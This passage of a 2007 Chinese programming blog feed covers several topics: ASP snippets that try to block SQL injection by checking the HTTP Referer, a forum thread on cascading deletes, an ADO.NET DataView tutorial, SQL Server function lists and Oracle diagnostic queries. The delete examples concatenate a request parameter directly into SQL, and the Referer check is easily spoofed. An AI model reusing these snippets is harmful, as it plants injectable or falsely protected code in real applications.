		<p>　　(说明：只要有用户注入则跳转到../../目录，呵呵，看你怎么给我注入)</p>
		<p>　　方法二：</p>
		<p>&lt;%<br />server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")<br />server_v2=Cstr(Request.ServerVariables("SERVER_NAME")<br />if mid(server_v1,8,len(server_v2))&lt;&gt;server_v2 then<br />response.write "&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450&gt;"<br />response.write "&lt;tr&gt;&lt;td style="font:9pt Verdana"&gt;"<br />response.write "你提交的路径有误，禁止从站点外部提交数据请不要乱该参数！"<br />response.write "&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;"<br />response.end<br />end if<br />%&gt; </p>
		<p>　　(说明：只要有用户注入则判断为外部连接哦，呵呵，看你怎么给我注入)</p>
		<p>　　方法三：</p>
		<p>&lt;% dim From_url,Serv_url<br />From_url = Cstr(Request.ServerVariables("HTTP_REFERER")<br />Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")<br />if mid(From_url,8,len(Serv_url)) &lt;&gt; Serv_url then<br />response.write "NO"<br />response.redirect("../"<br />response.end<br />end if%&gt;  <br /></p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142822.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:19 <a href="http://www.blogjava.net/Aisce/articles/142822.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一对多表的删除</title><link>http://www.blogjava.net/Aisce/articles/142821.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:18:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142821.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142821.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142821.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142821.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142821.html</trackback:ping><description><![CDATA[
		<p>sql1="DELETE FROM a WHERE Class_Id="&amp;para&amp;";"<br />sql2="DELETE FROM b WHERE Class_Id="&amp;para&amp;";"<br />sqlStr=sql1 &amp; sql2</p>
		<p>objRs.Execute sqlstr</p>
		<p>   <br />一对多表的删除 </p>
		<p>两张表a,b <br />a表的一条数据对应b表几条数据，请问，在删除a表这条数据的同时，也把与之对应的b表的多条数据删除，请问如何实现？<br /> <br />  <br />  <br /> <br />navana(我的病就是没有感觉) 于 2005-6-16 19:31:36 </p>
		<p>将两条SQL语句顺序放在一起即可<br />sql1="DELETE FROM a WHERE Class_Id="&amp;para<br />sql2="DELETE FROM b WHERE Class_Id="&amp;para</p>
		<p>就像要删除某一类别的新闻一样。</p>
		<p> <br /> <br /> <br />MyGhosts(阿辉) 于 2005-6-16 22:50:19 </p>
		<p>像楼上说的就可以了，但别忘了加个事务；<br /> <br /> <br /> <br />kevin_gao(困了！累了！睡觉了！) 于 2005-6-17 1:49:16 </p>
		<p>sql1="DELETE FROM a WHERE Class_Id="&amp;para&amp;";"<br />sql2="DELETE FROM b WHERE Class_Id="&amp;para&amp;";"<br />sqlStr=sql1 &amp; sql2</p>
		<p>objRs.Execute sqlstr</p>
		<p>我想是不是还要取决于具体的判定条件,如果不是明确给出a表的主码是不是应该这样作<br />sql1="delete from a where 字段1="&amp;para&amp;";"<br />sql2="delete from b where b.class_id in (select a.class_id from a where 字段1="&amp;para&amp;";)"<br />sqlstr=sql1 &amp; sql2</p>
		<p>其中a.class_id是b.class_id的外码</p>
		<p>没必要，作外键的你删除顺序不对会报错的。只要你按顺序删就不会有问题。<br />而且你的语句也有问题啊，in 里面的条件在执行第一条语句后就没结果了啊。 </p>
		<p>请直接使用关系图</p>
		<p>1,关系图<br />2,触发器：<br />CREATE TRIGGER TRIGGER_NAME ON a<br />FOR DELETE <br />AS<br />DELETE FROM b WHERE b.Class=a.id</p>
		<p>3,存储过程事务<br />CREATE PROCEDURE Del<br />@a_idint-- a表中的id<br />as<br />begin transaction</p>
		<p>delete from a where id = @a_id<br />delete from b where b_Class= @a_id<br />if @@error &lt;&gt; 0 rollback transaction<br />commit transaction<br />GO<br /></p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142821.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:18 <a href="http://www.blogjava.net/Aisce/articles/142821.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ADO.NET中的视图和过滤器</title><link>http://www.blogjava.net/Aisce/articles/142818.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:17:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142818.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142818.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142818.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142818.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142818.html</trackback:ping><description><![CDATA[
		<p>ADO.NET中的视图和过滤器<br />ADO.NET中有一层对象，用来创建任意数据源的抽象模型。其中包括DataSet，DataTable，DataRow，DataView，DataRelation等等。<br />所有这些对象都定义在System.Data名字空间。它们形成一个抽象模型，使得无论针对Windows Form，Web Form还是Web Service进行编程，都可以使用相同的编程接口。<br />在实际应用中，这些对象大多会对诸如SQL Server一类的关系型数据库中的数据进行操作。但是，它们可以处理各种数据，而不管它的物理存储媒介。<br />你可以使用DataSet对象来打包和关联各表中的数据，用DataTable类来处理表格类型的数据，而DataRow对象可以处理表中某一行的数据。<br />这三个对象都是对数据进行打包，但有不同的逻辑聚合层次。DataSet是DataTable和其他的组合。而DataTable是DataRow和其他的组合。DataRow是字段和其他的组合。但是这些对象中都没有内建过滤和排序的功能。<br />ADO.NET提供了一些类来处理这个数据库应用程序中的重要方面。在.Net Beta2中，这方面最重要的两个对象就是DataView和DataViewManager。<br />注意：DataViewManager是Beta2中特有的。在Beta1中，相应的功能由DataSetView完成。<br />定制数据视图<br />DataView类用来表示定制的DataTable的视图。DataTable和DataView的关系是遵循著名的设计模式--文档/视图模式，其中DataTable是文档，而Dataview是视图。<br />在任何时候，你都可以有多个基于相同数据的不同的视图。更重要的是，你可以对每一个具有自己一套属性、方法、事件的视图作为独立的对象进行处理。这也代表了相对ADO一个巨大的飞跃。<br />ADO Recordset可以定义过滤字符串。一旦你建立了该字符窜，只有匹配特定标准的数据才能够进行读写。Filter属性的工作原理同动态WHERE子句很相似。它只是简单的在同一recordset对象视图上隐藏了某些记录。<br />在ADO中，你从没有一个独立的视图对象。一个过滤过的recordset总是同一个对象，只不过显示出的记录比它实际数量少一些而已。<br />如果你不需要同时处理一些不同的视图，上述问题并不要紧。编程接口赋予了recordset既可以是表也可以是视图的功能。但是在创建时，这不能同时发生。在某一特定时刻，recordset只能是没有过滤字符串的表或者是激活了过滤字符串的视图。<br />Recordset的克隆提供了较好解决这个结构限制的方法。正如Clonation and the Case of Table Dolly, Part 1中所说的，克隆recordset相对开销较少，因为它不复制数据，只是复制recordset的基本构造。要处理同一数据两个或两个以上的视图，你可以利用两个或两个以上克隆，各自有一套相应的过滤字符串。<br />图一 在ADO中处理同一recordset不同的视图<br />在ADO.NET中，你可以使用新型对象模型所提供的DataView对象。ADO.NET的DataView对象用来表示给定数据表的定制的视图，但你可以像处理单独的对象一样处理它。DataView对象保留了对表的一个引用并允许对它进行更新。<br />图二 在ADO.NET中对同一数据表的不同视图进行操作<br />功能上而言，使用ADO Recordset克隆与使用特殊的视图对象完成的是同样的功能，都是让你实现过滤，对所选的数据行进行操作，并同时处理多个视图。<br />深入DataView对象<br />DataView对象继承了MarshalByValueComponent并实现了一组接口使之在数据绑定控件中可用。 <br />Public Class DataView Inherits MarshalByValueComponent Implements IBindingList, IList, ICollection,IEnumerable, _ ITypedList, ISupportInitialize </p>
		<p>由MarshalByValueComponent派生的类是.NET远程组件，可以通过值来列集--即序列化对象到目标应用程序域。（详见以下关于.NET组件的更多细节）<br />DataView中的内容可以通过许多编程接口进行操作，包括集合，列表和枚举器。IBindingList接口确保了该类提供所有用来支持复杂的和简单的数据绑定的必要特征。<br />总的来说，DataView对象可以用来达到两个目的。第一，视图对于关联DataTable对象和数据绑定控件中的DataSource域是很重要的。第二，它也对连接的DataTable提供了一层包装，让你能够进行过滤，排序，编辑和浏览。<br />DataView并不是唯一的可以通过传值进行远程操作的数据驱动类。DataSet和DataTable也具有同样的能力，特别是在互操作的场景下。<br />创建DataView <br />public DataView(); public DataView(DataTable); </p>
		<p>DataView只有同已经存在的、很可能是非空的DataTable对象连接后才可用。通常，这个连接在构造时就指定了。<br />DataView dv; dv = new DataView(theDataSet.Tables["Employees"]); </p>
		<p>但是，你也可以先创建一个新的视图，然后再用Table属性同表相关联。<br />DataView dv = new DataView(); dv.Table = theDataSet.Tables["Employees"]; DataView构造函数使你由DataTable中得到一个DataView对象。如果需要，反之亦可。事实上，DataTable对象的DefaultView属性返回一个该表的DataView对象。 DataView dv = dt.DefaultView; </p>
		<p>一旦你有了DataView对象， 你可以利用它的属性来建立你希望用户见到的数据行集。一般，你可以使用下列属性：<br />· RowFilter <br />· Sort <br />前者可以定制视图中可见数据应匹配的规则。而后者通过表达式来进行排序。当然你可以使用这两者的任意组合。</p>
		<p>设置过滤 RowFilter是一个可读写的属性，用来读取和设置表过滤的表达式。<br />public virtual string RowFilter {get; set;} </p>
		<p>你可以用列名，逻辑和数字运算符和常量的任意合法组合组成表达式。以下是一些例子： <br />dv.RowFilter = "Country = 'USA'"; dv.RowFilter = "EmployeeID &gt;5 AND Birthdate &lt; #1/31/82#" dv.RowFilter = "Description LIKE '*product*'" </p>
		<p>让我们来看一下过滤器的基本规则和运算符。<br />过滤字符串是表达式的逻辑连接。可以用AND，OR，NOT来连接成一个较短的表达式,也可以使用圆括号来组成子句，指定优先的运算。<br />通常包含列名的子句同字母、数字、日期或另一个列名进行比较。这里，可以使用关系运算符和算术运算符，如&gt;=, &lt;, &gt;, +, *, % (取模)等等。<br />如果要选取的行并不能方便地通过算术或逻辑运算符表达，你可以使用IN操作符。以下代码显示如何选取一个随机行：<br />dv.RowFilter = "employeeID IN (2,4,5)" </p>
		<p>你也可以使用通配符*和%，它们同LIKE运算符一起使用时显得更有用。它们都表示任意数量的字符，可以相互替代使用。<br />请注意，如果在LIKE子句中已经有了*或%字符，你必须用方括号将其括起，以免歧义。如果很不幸，字符串中方括号本身也存在了，那么它也必须用将本身括起。这样，匹配语句会如下所示：<br />dv.RowFilter = "Description LIKE '[[]*[]]product[[]*[]]" </p>
		<p>通配符只允许在过滤字符串的开头或结尾处使用，而不能在字符串中间出现。例如，下列语句会产生运行时错误：<br />dv.RowFilter = "Description LIKE 'prod*ct" </p>
		<p>字符串必须以单引号括起，而日期型必须以#符号括起。字符型值可以使用小数点和科学计数法。<br />RowFilter也支持聚合函数，如SUM, COUNT, MIN,MAX, and AVG。如果表中没有数据行，那么函数将返回NULL。<br />在介绍RowFilter表达式的最后，让我们讨论三个很便利的函数：Len，IIF和Substring。<br />正如其名，Len()返回特定表达式的长度。该表达式可以是一个列名，也可以是其他合法的表达式。<br />Substring()返回指定的表达式自特定位置开始，特定长度的字符子串。 <br />我最喜欢用的是IIF()，它按照逻辑表达式的值有一到两个值。IIF是IF-THEN-ELSE语句的紧凑表达。语法如下：<br />IIF(expression, if_true, if_false) </p>
		<p>通过该函数，可以建立非常复杂的过滤字符串。例如，假定你从SQL Server的Northwind数据库中取得Employees表，下列表达式可以选出那些employeeID小于6且lastname为偶数个字符和employeeID大于6且lastname为奇数个字符的员工。<br />IIF(employeeID&lt;6, Len(lastname) %2 =0, Len(lastname) %2 &gt;0) </p>
		<p>下图显示了结果（样品应用程序会在稍后讨论） <br />图三 对Northwind中的表进行过滤<br />例子程序是一个Windows® Form应用程序，其中使用了两个datagrid<br />控件来实现master/detail结构。一个grid在载入时生成，即在SQL<br />Server data adapter完成数据读取工作之后。请注意，data<br />adapter是Beta 2中引入的，在Beta 1中相应的是SQLDataSetCommand类。<br />预排视图<br />在上面的举例中，datagrid必须负责预排视图中的数据行，以便刷新用户界面。这个自动机制是.NET<br />数据绑定的产物。Datagrid是通过DataSource属性来获取数据的数据绑定控件。DataView是一个可数据绑定的类，可构建DataSource属性的内容。<br />如果你想使用datagrid之外的另一个控件，应该怎么办呢？又如果你不想使用自动数据绑定呢？应该怎样预排视图中所选的数据行呢？<br />DataView的Table属性指向相应的数据表，但DataTable并不保存过滤信息。所以，预排表中的数据注定是不可行的。虽然DataTable和DataView是紧密相联的，但它们各自保持独立，并执行独立的功能。<br />以下Visual Basic .NET代码段显示了如何遍历视图中所有的数据行，并加入到listbox中。<br />Dim dv As New DataView() dv = ds.Tables("Employees").DefaultView dv.RowFilter = "employeeid &gt;5"  ListBox1.Items.Clear() Dim buf As String Dim dr As DataRowView For Each dr In dv buf = "" buf &amp;= dr("lastname").ToString()&amp; ", " &amp; dr("firstName").ToString() ListBox1.Items.Add(buf) Next </p>
		<p>正如前面说提到的，DataView是可枚举的类，因此你可以安全的将它传给For..Each语句。Count属性存储了视图中数据行数，以便在For..Next循环中使用。<br />要访问视图中某一行，可以使用DataRowView类。DataRowView可表示DataRow的视图，就像DataView表达DataTable定制的视图一样。<br />总的来说，DataRow最多有四种状态：default，original，current和proposed。这些状态由DataRowVersion枚举类型设置，由RowVersion属性表达。<br />DataRow的视图只能是其中某一种状态。<br />数据行的默认(default)版本只有当其列在构造时设定了默认值时才有。而初始(original)版本是指在最后一次调用表的AcceptChanges后，从数剧源中得到数据行或快照。当前(Current)版本是指当前的数据行，包括所有当时发生的更新。Proposed状态只存在于调用BeginEdit和EndEdit的编辑过程中。<br />可以通过访问DataRow相同的语法访问DataRowView。这里最重要的属性叫Item。<br />排序和其他便捷的特性<br />DataView支持Sort属性，可以用来对视图中的内容排序。Sort由用逗号分隔的列名表达式进行排序。通过在任何列名后加ASC或者DESC限定词，可以使得字段按照上升或者下降的顺序排列。如果没有方向限定词，默认顺序为ASC。<br />DataView是内存中的对象，所以排序在本地进行，无需调用数据库服务器。<br />RowStateFilter是DataView另一有趣的属性。它可以用任何预定义的标准来过滤DataTable中的内容。下表中是DataViewRowState枚举类型的所有取值： <br />CurrentRows 包括所有未更新的、新的和修改的数据行 <br />Deleted 所有自上次调用AcceptChanges后删除的数据行 <br />ModifiedCurrent 所有自上次调用AcceptChanges后修改过的数据行 <br />ModifiedOriginal 所有自上次调用AcceptChanges后original版本的数据行 <br />New 所有自上次调用AcceptChanges后新添加的行 <br />OriginalRows 返回初始数据行，包含unchanged和deleted 的 <br />Unchanged 所有未更新的数据行 </p>
		<p>如果要操作非连接的数据，所有更新都在对DataTable调用AcceptChanges后生效。对单一行的更新在调用DataRow的AcceptChanges后生效。类似的，这些更新可以通过调用DataTable或DataRow对象的RejectChanges来取消。<br />DataView对象还有一些属性，如AllowEdit，AllowDelete和AllowNew，用来得到或设定是否允许更新的值。它们的默认值设为True，允许任何种类的更新。如果在标志设为False时，你想要完成相应的更新操作，会有一个运行时错误发生。<br />DataViewManager类<br />DataTable对象的DefaultView属性用来返回一个DataView对象，作为数据表中内容的默认视图。它按照自然顺序读取数据并显示表中所有的行，而不使用任何过滤。<br />theMasterGrid.DataSource = m_ds.Tables("Employees").DefaultView </p>
		<p>如果需要数据特定的视图，你可以进行排序并/或对DefaultView对象直接进行过滤。<br />m_ds.Tables("Employees").DefaultView.Sort = "lastname" theMasterGrid.DataSource = m_ds.Tables("Employees").DefaultView <br />DataViewManager类是用来存储DataSet中所有表的视图设置。<br />可以通过传递一个合法的非空的DataSet给类的构造函数来创建DataViewManager<br />Dim dvm As DataViewManager dvm = New DataViewManager(m_ds) </p>
		<p>也可以通过DataSet对象的DefaultViewManager属性直接得到：<br />Dim dvm As DataViewManager = m_ds.DefaultViewManager </p>
		<p>重要的是DataViewManager类是同一个DataSet相关联的。下面是另一种可行的方法：<br />Dim dvm As New DataViewManager() dvm.DataSet = m_ds  </p>
		<p>DataViewManager最重要的属性是DataViewSettings，一个DataViewSetting对象的集合。<br /> Dim dvs As DataViewSetting dvs = dvm.DataViewSettings("Employees") dvs.Sort = "lastname" </p>
		<p>DataViewSetting对象包含了表视图的参数信息。当将数据绑定到对数据敏感的控件时，使用DataViewManager而不是DataSet或DataTable可以保留你的视图设置（过滤和排序字段）<br /> theMasterGrid.DataSource = dvm theMasterGrid.DataMember = "Employees" </p>
		<p>在这里，视图按照DataViewSetting中对Employees表指定的自动进行排序和过滤。换而言之，DataViewSetting类是对特定表的视图的一种缓存。<br />下一步<br />上述例子程序用filter实现了master/detail结构。如果使用.NET中特有的数据绑定控件（如datagrid），能够更好的达到这个目的。在以后的专栏中，我将论述内存中的数据关系，以及它们是如何影响master/detail结构的设计的。<br />对话：你是否需要控件或组件?<br />在.NET中有很多术语经常可以替代使用。这里特别指出的是：类，组件，对象和控件。在此，我提供了一张表，来表述每个术语的恰当的含义。我们经常将它们当成同义词。<br />需要牢记在心的是整个.NET架构是由类组成的。所以你从中得到的任何东西，首先，是一个类。在.NET环境中，控件和组件不是同一种类。至于对象，可以认为是运行着的.NET类的实例。<br />组件是一个特殊的类，它实现了Icomponent接口或派生于实现了Icomponent接口的类。<br />控件是提供了用户界面功能的组件。在.NET架构中，可以找到两类控件：客户端的Windows Forms 控件和ASP.NET server 控件。<br />Icomponent接口包含在Idisposable接口中，并提供了一种确定的方法清除资源。<br />Public Interface IComponent Inherits IDisposable </p>
		<p>这种释放资源的方法和标准的.NET垃圾收集器可以二者选一。通过实现Idisposable，你定义了一个Dispose方法。这样通过编程，你可以显式的释放对象而无须等待垃圾收集器来处理。<br />.NET组件知道怎样在应用程序域(application domain)中如何串联。这有两种方法：通过引用或通过值，基本功能分别内建于MarshalByRefComponet和MarshalByValueComponent类中。.NET component类，事实上，实现了Idisposable，但直接或间接继承了上述两个类中的一个。<br />应用程序域是一种轻量级进程。通过引用来列集对象意味着proxy/stub实体对会被创建并处理远程调用。而通过值则意味着该对象的序列化的拷贝传递越过域的边界。<br />控件是更特殊化的对象，它还提供了用户界面元素。当然，一个控件总是一个component，但反之不一定成立。<br /></p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142818.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:17 <a href="http://www.blogjava.net/Aisce/articles/142818.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Sql Server基本函数</title><link>http://www.blogjava.net/Aisce/articles/142819.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:17:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142819.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142819.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142819.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142819.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142819.html</trackback:ping><description><![CDATA[
		<p>1.字符串函数 <br />长度与分析用 <br />datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格 <br />substring(expression,start,length) 不多说了,取子串 <br />right(char_expr,int_expr) 返回字符串右边int_expr个字符 </p>
		<p>字符操作类 <br />upper(char_expr) 转为大写 <br />lower(char_expr) 转为小写 <br />space(int_expr) 生成int_expr个空格 <br />replicate(char_expr,int_expr)复制字符串int_expr次 <br />reverse(char_expr) 反转字符串 <br />stuff(char_expr1,start,length,char_expr2) 将字符串char_expr1中的从 <br />start开始的length个字符用char_expr2代替 <br />ltrim(char_expr) rtrim(char_expr) 取掉空格 <br />ascii(char) char(ascii) 两函数对应,取ascii码,根据ascii吗取字符 </p>
		<p>字符串查找 <br />charindex(char_expr,expression) 返回char_expr的起始位置 <br />patindex("%pattern%",expression) 返回指定模式的起始位置,否则为0 </p>
		<p>
				<br />2.数学函数 </p>
		<p>abs(numeric_expr) 求绝对值 <br />ceiling(numeric_expr) 取大于等于指定值的最小整数 <br />exp(float_expr) 取指数 <br />floor(numeric_expr) 小于等于指定值得最大整数 <br />pi() 3.1415926......... <br />power(numeric_expr,power) 返回power次方 <br />rand([int_expr]) 随机数产生器 <br />round(numeric_expr,int_expr) 安int_expr规定的精度四舍五入 <br />sign(int_expr) 根据正数,0,负数,,返回+1,0,-1 <br />sqrt(float_expr) 平方根 </p>
		<p>3.日期函数 <br />getdate() 返回日期 <br />datename(datepart,date_expr) 返回名称如 June <br />datepart(datepart,date_expr) 取日期一部份 <br />datediff(datepart,date_expr1.dateexpr2) 日期差 <br />dateadd(datepart,number,date_expr) 返回日期加上 number </p>
		<p>上述函数中datepart的 <br />写法 取值和意义 <br />yy 1753-9999 年份 <br />qq 1-4 刻 <br />mm 1-12 月 <br />dy 1-366 日 <br />dd 1-31 日 <br />wk 1-54 周 <br />dw 1-7 周几 <br />hh 0-23 小时 <br />mi 0-59 分钟 <br />ss 0-59 秒 <br />ms 0-999 毫秒 <br /><br />日期转换 <br />convert() </p>
		<p>4.系统函数 </p>
		<p>suser_name() 用户登录名 <br />user_name() 用户在数据库中的名字 <br />user 用户在数据库中的名字 <br />show_role() 对当前用户起作用的规则 <br />db_name() 数据库名 <br />object_name(obj_id) 数据库对象名 <br />col_name(obj_id,col_id) 列名 <br />col_length(objname,colname) 列长度 <br />valid_name(char_expr) 是否是有效标识符</p>
		<p> </p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142819.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:17 <a href="http://www.blogjava.net/Aisce/articles/142819.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>通过sql语句获取数据库的基本信息</title><link>http://www.blogjava.net/Aisce/articles/142820.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:17:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142820.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142820.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142820.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142820.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142820.html</trackback:ping><description><![CDATA[
		<p>您可以通过以下几个sql 可以立即了解系统的状况和数据库的状态(仅献给习惯使用sql/plus的人 呵呵　)<br />(1) 查询oracle 的物理结构<br />1.1. 查看数据文件<br />SQL&gt; select name from v$datafile;<br />NAME<br />---------------------------------------------<br />/u05/dbf/PROD/system_01.dbf/u05/dbf/PROD/system_01.dbf  (系统数据文件)<br />/u06/dbf/PROD/temp_01.dbf    (临时数据文件)<br />/u04/dbf/PROD/users_01.dbf  （用户数据文件）<br />/u09/dbf/PROD/rbs_01.dbf     （回滚数据文件）<br />/u06/dbf/PROD/applsys_indx_01.dbf  （索引数据文件）<br />数据文件是ORACLE中最重要的物理文件</p>
		<p>1.2．查询控制文件信息<br />　SQL&gt;select * from  V$Controlfile<br />1.3  查看日志组<br />   SQL&gt;select * from V＄Log<br />1.4.  查看具体的日志成员文件<br />　SQＬ&gt;select * from  v$logfile<br />1.5  通过以下SQL 找到 报警日至文件的路径<br />　select value from v$parameter where name ='background_dump_dest'<br />1.6  通过以下SQL找到用户跟踪文件的路径<br />　select value from v$parameter where name ='user_dump_dest'</p>
		<p>
				<br />(2) 查询安全信息<br />2.1 显示示用户信息<br />　SQL&gt;selelct * from DBA_Users  Where Username ='system'<br />2.2 显示角色信息<br />　SQL&gt; Select *from Dba_Roles<br />2.2  显示表空间限额的信息<br />　SQL&gt; select Tablespace_Name,Username,Bytes,max_bytes  <br />　SQL&gt; from dba_ts_quotas;<br />2.4  显示开工文件和相关资源限制设置的信息<br />　SQL&gt; Select profile,resource_name,limit<br />　SQL&gt; from Dba_profiles;<br />2.5 显示当前用户拥有的所有的表<br />   SQL&gt; Select * From Tab;<br />2.6  查看内部系统表的SQL<br />　select * from v$fixed_view_definition</p>
		<p>3 查询oracle 的系统环境变量  <br />3.1.查找全局共享缓冲区(SGA)<br />　SQL&gt; select * from v$sga;<br />　NAME VALUE<br />　-------------------- ---------<br />　Fixed Size 39816 <br />　Variable Size 259812784<br />　Database Buffers 1.049E+09<br />　Redo Buffers 327680<br />　更详细的信息可以参考V$sgastat、V$buffer_pool<br />　对于保存在共享池中的SQL语句，可以从V$Sqltext、v$Sqlarea中查询到</p>
		<p> 3.2清空Share_pool，保留Data buffer<br />　SQL&gt; alter system flush SHARED_POOL;<br />　System altered.</p>
		<p>3.3. .运行以下语句可以得到系统SCN号<br />　SQL&gt; select max(ktuxescnw * power(2, 32) + ktuxescnb) scn from x$ktuxe;<br />    SCN <br />　----------<br />   31014<br />3.4 查询数据块可用空间大小。<br />　Select kvisval,kvistag,kvisdsc from sys.x$kvis;</p>
		<p>3.5检查当前oracle 的连接类型：<br />　select  server  <br />　from   v$session <br />　where audisid=USERENV('SESSIONID');<br />　如果 输出<br />　SERVER<br />　―――――――――――<br />　ＤＥＤＩＣＡＴＥＤ</p>
		<p>　说明当前的oracle 连接实用的是专用服务器连接 ，而不是MTS多线程服务器（SHARED）</p>
		<p>3.6.  查看数据数据字典的SQL<br />　select * from dict</p>
		<p>3.7检查后台线程的状态<br /> Select name,Description<br /> From V$BGPROCESS<br /> Where Paddr&lt;&gt;'00'         (进程地址不等于'00')<br />  输出结果类似:<br /> name    description<br />--------    ---------------------------------<br />  Pmon     Process Cleanup<br />  Dbwo     db Writer Process 0<br />  Lgwr      Redo Etc<br />  Ckpt       checkpoint<br />        。。。 。。。<br />3.8 显示表结构<br />　 desc  tablename(任意表名);<br />　输出结果类似:<br />   name            null?          Type<br />---------------------------- --------------------  ------------------<br />   ID            Not Null            Number(30)</p>
		<p> </p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142820.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:17 <a href="http://www.blogjava.net/Aisce/articles/142820.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ADO.net的五板斧 </title><link>http://www.blogjava.net/Aisce/articles/142816.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:16:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142816.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142816.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142816.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142816.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142816.html</trackback:ping><description><![CDATA[
		<p>ADO.net 的代码，可以用五板斧来理解.<br />这五板斧依次是：</p>
		<p>
				<br />第一板；<br />链接到数据库   DbConnection 类。<br />也就是找到你要找的人或者事务</p>
		<p>第二板<br />DBCommand 类<br />告诉对方，你要干啥，希望有啥结果，也许还有些你认为中间应该如何干的信息</p>
		<p>第三板<br />执行命令<br />Command 的几个执行方法</p>
		<p>第四版<br />接受数据<br />获得你要的结果。<br />DataReader<br /><br />第五板<br />也许你要缓存你的结果<br />DataSet</p>
		<p> </p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:16 <a href="http://www.blogjava.net/Aisce/articles/142816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ADO.NET在开发中的部分使用方法和技巧</title><link>http://www.blogjava.net/Aisce/articles/142817.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:16:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142817.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142817.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142817.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142817.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142817.html</trackback:ping><description><![CDATA[
		<p>总结：ADO.NET在开发中的部分使用方法和技巧 <br />   <br /> <br />如何使用 SqlDataAdapter 来检索多个行</p>
		<p>以下代码阐明了如何使用 SqlDataAdapter 对象发出可生成 DataSet 或 DataTable 的命令。它从 SQL Server Northwind 数据库中检索一组产品类别。</p>
		<p>using System.Data;<br />using System.Data.SqlClient;</p>
